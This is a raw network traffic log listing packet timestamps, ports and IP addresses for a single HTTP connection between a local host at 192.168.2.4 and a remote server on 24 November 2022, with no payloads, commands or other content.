Nov 24, 2022 13:27:53.159305096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159322977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159329891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159342051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159358978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159377098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159383059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159396887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159410000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159415007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159431934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159435034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159451008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159477949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159523964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159542084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159559011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159576893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159584045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159595013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159607887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.159614086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.159638882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160387993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160408020 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160425901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160444021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160475016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160505056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160507917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160559893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160579920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160604954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160610914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160624981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160630941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160645008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160662889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160671949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160681009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160700083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160716057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160718918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160737038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160743952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160756111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160773993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.160804987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.160830975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.164562941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.164581060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.164616108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.164652109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.164697886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.164763927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165086031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165107012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165127039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165146112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165153027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165167093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165184975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165201902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165210962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165225983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165235996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165244102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165262938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165276051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165282011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165299892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165304899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165318966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165337086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165345907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165358067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165375948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165378094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165397882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165417910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165436029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165446043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165456057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165473938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165479898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165493965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165509939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165512085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165532112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165549994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165551901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165569067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165572882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165611982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.165647030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165667057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165684938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.165730953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.168955088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.168975115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.168993950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169013023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169030905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169048071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169063091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169065952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169084072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169101954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169102907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169115067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169121981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169141054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169151068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169168949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169188023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169193983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169205904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169224977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169241905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169244051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169259071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169267893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169277906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169296026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169316053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169323921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169333935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169352055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169353008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169373989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169379950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169393063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169409990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169421911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169430017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169446945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169466019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169475079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169486046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169502974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169504881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169523001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169536114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169542074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169559002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169570923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169575930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169595003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169611931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169620037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169631004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169648886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169648886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169668913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169681072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169687986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169715881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169732094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169734001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169754028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169769049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169773102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169790983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169807911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169817924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169827938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169845104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169847012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169864893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169872999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169889927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169936895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.169961929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.169980049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170000076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170006990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170018911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170038939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170044899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170073986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170093060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170113087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170121908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170133114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170156956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170170069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170181990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170201063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170219898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170239925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170248032 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170258045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170280933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170298100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170300961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170314074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170330048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170331955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170350075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170361042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170367002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170384884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170402050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170416117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170418978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170437098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170439959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170454979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170469046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170473099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170490980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170507908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170511007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170526981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170537949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170546055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170562983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170572996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170582056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170600891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170618057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170628071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170636892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170645952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170655966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170672894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170677900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170691013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170708895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170720100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170727015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170744896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170763969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170768023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170782089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170800924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170808077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170835018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170865059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170893908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170895100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170912027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170913935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170933962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170954943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170960903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.170973063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.170990944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171000957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171010971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171027899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171029091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171046019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171065092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171082973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171084881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171098948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171102047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171122074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171123028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171140909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171140909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171159983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171179056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171196938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171204090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171215057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171227932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171233892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171252012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171262980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171269894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171288013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171305895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171313047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171324015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171331882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171343088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171360970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171372890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171377897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171396971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171415091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171425104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171432972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171452999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171453953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171471119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171478987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171489954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171509027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171525002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171526909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171545982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171557903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171564102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171581984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171600103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171607971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171617985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171633005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171636105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171653986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171660900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171674013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171691895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171703100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171709061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171726942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171736002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171745062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171762943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171780109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171787977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171813011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171888113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171890974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171905994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171922922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171932936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.171941042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171958923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171977043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.171982050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.172007084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.172059059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.172219038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.172303915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.172323942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.172342062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.172353029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.172360897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.172379017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.172398090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.172401905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.172415972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.172432899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.172440052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.172467947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.173069954 CET	80	49702	66.235.200.147	192.168.2.4
